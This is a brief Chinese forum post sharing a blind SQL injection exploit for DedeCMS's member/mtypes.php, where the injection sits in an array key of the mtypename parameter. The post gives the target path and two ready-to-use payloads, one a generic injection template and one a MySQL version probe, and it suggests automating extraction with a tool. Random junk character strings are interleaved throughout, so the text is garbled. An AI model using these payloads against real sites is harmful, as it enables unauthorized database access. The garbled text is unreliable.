需要magic_quotes_gpc = Off,所以说是鸡肋啊.
, I+ D6 a' @9 r' C+ Q: n5 {( g/ [ _8 H& [5 I. V, x4 W! r: U0 F
8 z( I) @$ J% n
发生在数组key里的注射漏洞,有点意思.
4 m4 s5 t y8 b3 ~* G" B0 n# }' i% z) t
3 T6 S) m: b5 I' h4 |/ A这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下8 p7 C9 ~* f8 b5 h/ ?
- {* S7 n5 }) t( K8 ?0 {
http://www.xxx.com /dede/member/mtypes.php?dopost=save
9 L' x: b/ h4 f1 e1 M8 Y0 f5 d4 e6 w / B2 v1 X# }) K: r+ K& W
exploit:1 O6 \8 \) h% `" h
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r' U: g, ]# l2 f' y
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
3 y; o6 [4 o; ^+ ] |
发表于 2012-12-20 08:08:09
收藏
支持
反对